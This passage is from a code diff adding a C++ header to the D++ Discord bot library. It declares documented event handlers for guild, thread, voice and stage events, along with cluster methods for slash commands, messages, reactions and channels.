and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type guild_member_add_t&, and returns void. + */ + event_router_t on_guild_member_add; + + + /** + * @brief Called when an invite is deleted from a guild. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type invite_delete_t&, and returns void. + */ + event_router_t on_invite_delete; + + + /** + * @brief Called when details of a guild are updated. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type guild_update_t&, and returns void. + */ + event_router_t on_guild_update; + + + /** + * @brief Called when an integration is updated for a guild. + * This returns the complete list. + * An integration is a connection to a guild of a user's associated accounts, + * e.g. youtube or twitch, for automatic assignment of roles etc. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type guild_integrations_update_t&, and returns void. + */ + event_router_t on_guild_integrations_update; + + + /** + * @brief Called when details of a guild member (e.g. their roles or nickname) are updated. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type guild_member_update_t&, and returns void. + */ + event_router_t on_guild_member_update; + + + /** + * @brief Called when an application command (slash command) is updated. + * You will only receive this event for application commands that belong to your bot/application. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type application_command_update_t&, and returns void. + */ + event_router_t on_application_command_update; + + + /** + * @brief Called when a new invite is created for a guild. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type invite_create_t&, and returns void. + */ + event_router_t on_invite_create; + + + /** + * @brief Called when a message is updated (edited). + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type message_update_t&, and returns void. + */ + event_router_t on_message_update; + + + /** + * @brief Called when a user is updated. + * This is separate to guild_member_update and includes things such as an avatar change, + * username change, discriminator change or change in subscription status for nitro. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type user_update_t&, and returns void. + */ + event_router_t on_user_update; + + + /** + * @brief Called when a new message arrives from discord. + * Note that D++ does not cache messages. If you want to cache these objects you + * should create something yourself within your bot. Caching of messages is not on + * the roadmap to be supported as it consumes excessive amounts of RAM. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type message_create_t&, and returns void. + */ + event_router_t on_message_create; + + + /** + * @brief Called when a ban is added to a guild. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type guild_ban_add_t&, and returns void. + */ + event_router_t on_guild_ban_add; + + + /** + * @brief Called when a ban is removed from a guild. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type guild_ban_remove_t&, and returns void. + */ + event_router_t on_guild_ban_remove; + + + /** + * @brief Called when a new intgration is attached to a guild by a user. + * An integration is a connection to a guild of a user's associated accounts, + * e.g. youtube or twitch, for automatic assignment of roles etc. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type integration_create_t&, and returns void. + */ + event_router_t on_integration_create; + + + /** + * @brief Called when an integration is updated by a user. + * This returns details of just the single integration that has changed. + * An integration is a connection to a guild of a user's associated accounts, + * e.g. youtube or twitch, for automatic assignment of roles etc. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type integration_update_t&, and returns void. + */ + event_router_t on_integration_update; + + + /** + * @brief Called when an integration is removed by a user. + * An integration is a connection to a guild of a user's associated accounts, + * e.g. youtube or twitch, for automatic assignment of roles etc. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type integration_delete_t&, and returns void. + */ + event_router_t on_integration_delete; + + + /** + * @brief Called when a thread is created + * Note: Threads are not cached by D++, but a list of thread IDs is accessible in a guild object + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type thread_create_t&, and returns void. + */ + event_router_t on_thread_create; + + + /** + * @brief Called when a thread is updated + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type thread_update_t&, and returns void. + */ + event_router_t on_thread_update; + + + /** + * @brief Called when a thread is deleted + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type thread_delete_t&, and returns void. + */ + event_router_t on_thread_delete; + + + /** + * @brief Called when thread list is synced (upon gaining access to a channel) + * Note: Threads are not cached by D++, but a list of thread IDs is accessible in a guild object + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type thread_list_sync_t&, and returns void. + */ + event_router_t on_thread_list_sync; + + + /** + * @brief Called when current user's thread member object is updated + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type thread_member_update_t&, and returns void. + */ + event_router_t on_thread_member_update; + + + /** + * @brief Called when a thread's member list is updated (without GUILD_MEMBERS intent, is only called for current user) + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type thread_members_update_t&, and returns void. + */ + event_router_t on_thread_members_update; + + + /** + * @brief Called when a new scheduled event is created + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type guild_scheduled_event_create_t&, and returns void. + */ + event_router_t on_guild_scheduled_event_create; + + + /** + * @brief Called when a new scheduled event is updated + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type guild_scheduled_event_update_t&, and returns void. + */ + event_router_t on_guild_scheduled_event_update; + + + /** + * @brief Called when a new scheduled event is deleted + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type guild_scheduled_event_delete_t&, and returns void. + */ + event_router_t on_guild_scheduled_event_delete; + + + /** + * @brief Called when a user is added to a scheduled event + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type guild_scheduled_event_user_add_t&, and returns void. + */ + event_router_t on_guild_scheduled_event_user_add; + + + /** + * @brief Called when a user is removed to a scheduled event + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type guild_scheduled_event_user_remove_t&, and returns void. + */ + event_router_t on_guild_scheduled_event_user_remove; + + + /** + * @brief Called when packets are sent from the voice buffer. + * The voice buffer contains packets that are already encoded with Opus and encrypted + * with Sodium, and merged into packets by the repacketizer, which is done in the + * dpp::discord_voice_client::send_audio method. You should use the buffer size properties + * of dpp::voice_buffer_send_t to determine if you should fill the buffer with more + * content. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type voice_buffer_send_t&, and returns void. + */ + event_router_t on_voice_buffer_send; + + + /** + * @brief Called when a user is talking on a voice channel. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type voice_user_talking_t&, and returns void. + */ + event_router_t on_voice_user_talking; + + + /** + * @brief Called when a voice channel is connected and ready to send audio. + * Note that this is not directly attached to the READY event of the websocket, + * as there is further connection that needs to be done before audio is ready to send. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type voice_ready_t&, and returns void. + */ + event_router_t on_voice_ready; + + + /** + * @brief Called when new audio data is received. + * Each separate user's audio from the voice channel will arrive tagged with + * their user id in the event, if a user can be attributed to the received audio. + * + * @note Receiveing audio for bots is not officially supported by discord. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type voice_receive_t&, and returns void. + */ + event_router_t on_voice_receive; + + + /** + * @brief Called when sending of audio passes over a track marker. + * Track markers are arbitrarily placed "bookmarks" in the audio buffer, placed + * by the bot developer. Each track marker can have a string value associated with it + * which is specified in dpp::discord_voice_client::insert_marker and returned to this + * event. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type voice_track_marker_t&, and returns void. + */ + event_router_t on_voice_track_marker; + + + /** + * @brief Called when a new stage instance is created on a stage channel. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * + */ + event_router_t on_stage_instance_create; + + + /** + * @brief Called when a stage instance is updated. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type stage_instance_update_t&, and returns void. + */ + event_router_t on_stage_instance_update; + + + /** + * @brief Called when an existing stage instance is deleted from a stage channel. + * + * @note Use operator() to attach a lambda to this event, and the detach method to detach the listener using the returned ID. + * The function signature for this event takes a single `const` reference of type stage_instance_delete_t&, and returns void. + */ + event_router_t on_stage_instance_delete; + + + /** + * @brief Post a REST request. Where possible use a helper method instead like message_create + * + * @param endpoint Endpoint to post to, e.g. /api/guilds + * @param major_parameters Major parameters for the endpoint e.g. a guild id + * @param parameters Minor parameters for the API request + * @param method Method, e.g. GET, POST + * @param postdata Post data (usually JSON encoded) + * @param callback Function to call when the HTTP call completes. The callback parameter will contain amongst other things, the decoded json. + * @param filename Filename to post for POST requests (for uploading files) + * @param filecontent File content to post for POST requests (for uploading files) + */ + void post_rest(const std::string &endpoint, const std::string &major_parameters, const std::string ¶meters, http_method method, const std::string &postdata, json_encode_t callback, const std::string &filename = "", const std::string &filecontent = ""); + + /** + * @brief Make a HTTP(S) request. For use when wanting asnyncronous access to HTTP APIs outside of Discord. + * + * @param url Endpoint to post to, e.g. /api/guilds + * @param method Method, e.g. GET, POST + * @param callback Function to call when the HTTP call completes. No processing is done on the returned data. + * @param postdata POST data + * @param mimetype MIME type of POST data + * @param headers Headers to send with the request + */ + void request(const std::string &url, http_method method, http_completion_event callback, const std::string &postdata = "", const std::string &mimetype = "text/plain", const std::multimap &headers = {}); + + /** + * @brief Respond to a slash command + * + * @param interaction_id Interaction id to respond to + * @param token Token for the interaction webhook + * @param r Response to send + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void interaction_response_create(snowflake interaction_id, const std::string &token, const interaction_response &r, command_completion_event_t callback = {}); + + /** + * @brief Respond to a slash command + * + * @param token Token for the interaction webhook + * @param r Message to send + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void interaction_response_edit(const std::string &token, const message &r, command_completion_event_t callback = {}); + + /** + * @brief Create a global slash command (a bot can have a maximum of 100 of these). + * + * @note Global commands are cached by discord server-side and can take up to an hour to be visible. For testing, + * you should use cluster::guild_command_create instead. + * + * @param s Slash command to create + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::slashcommmand object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void global_command_create(const slashcommand &s, command_completion_event_t callback = {}); + + /** + * @brief Get the audit log for a guild + * + * @param guild_id Guild to get the audit log of + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::auditlog object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_auditlog_get(snowflake guild_id, command_completion_event_t callback); + + /** + * @brief Create a slash command local to a guild + * + * @param s Slash command to create + * @param guild_id Guild ID to create the slash command in + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::slashcommmand object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_command_create(const slashcommand &s, snowflake guild_id, command_completion_event_t callback = {}); + + + /** + * @brief Create/overwrite guild slash commands. + * Any existing guild slash commands on this guild will be deleted and replaced with these. + * + * @param commands Vector of slash commands to create/update. + * New guild commands will be available in the guild immediately. If the command did not already exist, it will count toward daily application command create limits. + * @param guild_id Guild ID to create/update the slash commands in + * @param callback Function to call when the API call completes. + * On success the callback will contain a list of dpp::slashcommmand object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_bulk_command_create(const std::vector &commands, snowflake guild_id, command_completion_event_t callback = {}); + + /** + * @brief Create/overwrite global slash commands. + * Any existing global slash commands will be deletd and replaced with these. + * + * @note Global commands are cached by discord server-side and can take up to an hour to be visible. For testing, + * you should use cluster::guild_bulk_command_create instead. + * + * @param commands Vector of slash commands to create/update. + * overwriting existing commands that are registered globally for this application. Updates will be available in all guilds after 1 hour. + * Commands that do not already exist will count toward daily application command create limits. + * @param callback Function to call when the API call completes. + * On success the callback will contain a list of dpp::slashcommmand object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void global_bulk_command_create(const std::vector &commands, command_completion_event_t callback = {}); + + /** + * @brief Edit a global slash command (a bot can have a maximum of 100 of these) + * + * @param s Slash command to change + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void global_command_edit(const slashcommand &s, command_completion_event_t callback = {}); + + /** + * @brief Edit a slash command local to a guild + * + * @param s Slash command to edit + * @param guild_id Guild ID to edit the slash command in + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_command_edit(const slashcommand &s, snowflake guild_id, command_completion_event_t callback = {}); + + /** + * @brief Edit slash command permissions local to a guild, + * permissions are read from s.permissions + * + * @param s Slash command to edit + * @param guild_id Guild ID to edit the slash command in + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_command_edit_permissions(const slashcommand &s, snowflake guild_id, command_completion_event_t callback = {}); + + + + /** + * @brief Delete a global slash command (a bot can have a maximum of 100 of these) + * + * @param id Slash command to delete + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void global_command_delete(snowflake id, command_completion_event_t callback = {}); + + /** + * @brief Delete a slash command local to a guild + * + * @param id Slash command to delete + * @param guild_id Guild ID to delete the slash command in + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_command_delete(snowflake id, snowflake guild_id, command_completion_event_t callback = {}); + + /** + * @brief Get the application's slash commands for a guild + * + * @param guild_id Guild ID to get the slash commands for + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::slashcommand_map object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void guild_commands_get(snowflake guild_id, command_completion_event_t callback); + + /** + * @brief Get the application's global slash commands + * + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::slashcommand_map object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void global_commands_get(command_completion_event_t callback); + + /** + * @brief Create a direct message, also create the channel for the direct message if needed + * + * @param user_id User ID of user to send message to + * @param m Message object + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::message object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void direct_message_create(snowflake user_id, const message &m, command_completion_event_t callback = {}); + + /** + * @brief Get a message + * + * @param message_id Message ID + * @param channel_id Channel ID + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::message object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void message_get(snowflake message_id, snowflake channel_id, command_completion_event_t callback); + + /** + * @brief Get multiple messages + * + * @param channel_id Channel ID to retrieve messages for + * @param around Messages should be retrieved around this ID if this is set to non-zero + * @param before Messages before this ID should be retrieved if this is set to non-zero + * @param after Messages before this ID should be retrieved if this is set to non-zero + * @param limit This number of messages maximum should be returned + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::message_map object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void messages_get(snowflake channel_id, snowflake around, snowflake before, snowflake after, uint8_t limit, command_completion_event_t callback); + + /** + * @brief Send a message to a channel. The callback function is called when the message has been sent + * + * @param m Message to send + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::message object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void message_create(const struct message &m, command_completion_event_t callback = {}); + + /** + * @brief Crosspost a message. The callback function is called when the message has been sent + * + * @param message_id Message to crosspost + * @param channel_id Channel ID to crosspost from + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::message object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void message_crosspost(snowflake message_id, snowflake channel_id, command_completion_event_t callback = {}); + + /** + * @brief Edit a message on a channel. The callback function is called when the message has been edited + * + * @param m Message to edit + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::message object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void message_edit(const struct message &m, command_completion_event_t callback = {}); + + /** + * @brief Add a reaction to a message. The reaction string must be either an `emojiname:id` or a unicode character. + * + * @param m Message to add a reaction to + * @param reaction Reaction to add. Emojis should be in the form emojiname:id + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void message_add_reaction(const struct message &m, const std::string &reaction, command_completion_event_t callback = {}); + + /** + * @brief Delete own reaction from a message. The reaction string must be either an `emojiname:id` or a unicode character. + * + * @param m Message to delete own reaction from + * @param reaction Reaction to delete. The reaction should be in the form emojiname:id + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void message_delete_own_reaction(const struct message &m, const std::string &reaction, command_completion_event_t callback = {}); + + /** + * @brief Delete a user's reaction from a message. The reaction string must be either an `emojiname:id` or a unicode character + * + * @param m Message to delete a user's reaction from + * @param user_id User ID who's reaction you want to remove + * @param reaction Reaction to remove. Reactions should be in the form emojiname:id + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void message_delete_reaction(const struct message &m, snowflake user_id, const std::string &reaction, command_completion_event_t callback = {}); + + /** + * @brief Get reactions on a message for a particular emoji. The reaction string must be either an `emojiname:id` or a unicode character + * + * @param m Message to get reactions for + * @param reaction Reaction should be in the form emojiname:id or a unicode character + * @param before Reactions before this ID should be retrieved if this is set to non-zero + * @param after Reactions before this ID should be retrieved if this is set to non-zero + * @param limit This number of reactions maximum should be returned + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::user_map object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void message_get_reactions(const struct message &m, const std::string &reaction, snowflake before, snowflake after, snowflake limit, command_completion_event_t callback); + + /** + * @brief Delete all reactions on a message + * + * @param m Message to delete reactions from + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void message_delete_all_reactions(const struct message &m, command_completion_event_t callback = {}); + + /** + * @brief Delete all reactions on a message using a particular emoji. The reaction string must be either an `emojiname:id` or a unicode character + * + * @param m Message to delete reactions from + * @param reaction Reaction to delete, in the form emojiname:id or a unicode character + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void message_delete_reaction_emoji(const struct message &m, const std::string &reaction, command_completion_event_t callback = {}); + + /** + * @brief Add a reaction to a message by id. The reaction string must be either an `emojiname:id` or a unicode character. + * + * @param message_id Message to add reactions to + * @param channel_id Channel to add reactions to + * @param reaction Reaction to add. Emojis should be in the form emojiname:id + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void message_add_reaction(snowflake message_id, snowflake channel_id, const std::string &reaction, command_completion_event_t callback = {}); + + /** + * @brief Delete own reaction from a message by id. The reaction string must be either an `emojiname:id` or a unicode character. + * + * @param message_id Message to delete reactions from + * @param channel_id Channel to delete reactions from + * @param reaction Reaction to delete. The reaction should be in the form emojiname:id + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void message_delete_own_reaction(snowflake message_id, snowflake channel_id, const std::string &reaction, command_completion_event_t callback = {}); + + /** + * @brief Delete a user's reaction from a message by id. The reaction string must be either an `emojiname:id` or a unicode character + * + * @param message_id Message to delete reactions from + * @param channel_id Channel to delete reactions from + * @param user_id User ID who's reaction you want to remove + * @param reaction Reaction to remove. Reactions should be in the form emojiname:id + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void message_delete_reaction(snowflake message_id, snowflake channel_id, snowflake user_id, const std::string &reaction, command_completion_event_t callback = {}); + + /** + * @brief Get reactions on a message for a particular emoji by id. The reaction string must be either an `emojiname:id` or a unicode character + * + * @param message_id Message to get reactions for + * @param channel_id Channel to get reactions for + * @param reaction Reaction should be in the form emojiname:id or a unicode character + * @param before Reactions before this ID should be retrieved if this is set to non-zero + * @param after Reactions before this ID should be retrieved if this is set to non-zero + * @param limit This number of reactions maximum should be returned + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::user_map object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void message_get_reactions(snowflake message_id, snowflake channel_id, const std::string &reaction, snowflake before, snowflake after, snowflake limit, command_completion_event_t callback); + + /** + * @brief Delete all reactions on a message by id + * + * @param message_id Message to delete reactions from + * @param channel_id Channel to delete reactions from + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void message_delete_all_reactions(snowflake message_id, snowflake channel_id, command_completion_event_t callback = {}); + + /** + * @brief Delete all reactions on a message using a particular emoji by id. The reaction string must be either an `emojiname:id` or a unicode character + * + * @param message_id Message to delete reactions from + * @param channel_id Channel to delete reactions from + * @param reaction Reaction to delete, in the form emojiname:id or a unicode character + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void message_delete_reaction_emoji(snowflake message_id, snowflake channel_id, const std::string &reaction, command_completion_event_t callback = {}); + + /** + * @brief Delete a message from a channel. The callback function is called when the message has been edited + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * + * @param message_id Message ID to delete + * @param channel_id Channel to delete from + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void message_delete(snowflake message_id, snowflake channel_id, command_completion_event_t callback = {}); + + /** + * @brief Bulk delete messages from a channel. The callback function is called when the message has been edited + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * + * @param message_ids List of message IDs to delete (maximum of 100 message IDs) + * @param channel_id Channel to delete from + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void message_delete_bulk(const std::vector &message_ids, snowflake channel_id, command_completion_event_t callback = {}); + + /** + * @brief Get a channel + * + * @param c Channel ID to retrieve + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::channel object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void channel_get(snowflake c, command_completion_event_t callback); + + /** + * @brief Get all channels for a guild + * + * @param guild_id Guild ID to retrieve channels for + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::channel_map object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void channels_get(snowflake guild_id, command_completion_event_t callback); + + /** + * @brief Create a channel + * + * Create a new channel object for the guild. Requires the `MANAGE_CHANNELS` permission. If setting permission overwrites, + * only permissions your bot has in the guild can be allowed/denied. Setting `MANAGE_ROLES` permission in channels is only possible + * for guild administrators. Returns the new channel object on success. Fires a `Channel Create Gateway` event. + * + * All parameters to this endpoint are optional excluding `name` + * + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * + * @param c Channel to create + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::channel object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void channel_create(const class channel &c, command_completion_event_t callback = {}); + + /** + * @brief Edit a channel + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * + * @param c Channel to edit/update + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::channel object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void channel_edit(const class channel &c, command_completion_event_t callback = {}); + + /** + * @brief Edit multiple channels positions + * + * Modify the positions of a set of channel objects for the guild. + * Requires `MANAGE_CHANNELS` permission. Fires multiple `Channel Update Gateway` events. + * Only channels to be modified are required. + * + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * + * @param c Channel to change the position for + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void channel_edit_positions(const std::vector &c, command_completion_event_t callback = {}); + + /** + * @brief Edit a channel's permissions + * + * @param c Channel to set permissions for + * @param overwrite_id Overwrite to change (a user or channel ID) + * @param allow allow permissions + * @param deny deny permissions + * @param member true if the overwrite_id is a user id, false if it is a channel id + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void channel_edit_permissions(const class channel &c, snowflake overwrite_id, uint32_t allow, uint32_t deny, bool member, command_completion_event_t callback = {}); + + /** + * @brief Delete a channel + * @note This method supports audit log reasons set by the cluster::set_audit_reason() method. + * + * @param channel_id Channel id to delete + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::confirmation object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void channel_delete(snowflake channel_id, command_completion_event_t callback = {}); + + /** + * @brief Get details about an invite + * + * @param invite Invite code to get information on + * @param callback Function to call when the API call completes. + * On success the callback will contain a dpp::invite object in confirmation_callback_t::value. On failure, the value is undefined and confirmation_callback_t::is_error() method will return true. You can obtain full error details with confirmation_callback_t::get_error(). + */ + void invite_get(const std::string &invite, command_completion_event_t callback); + + /** + * @brief Delete an 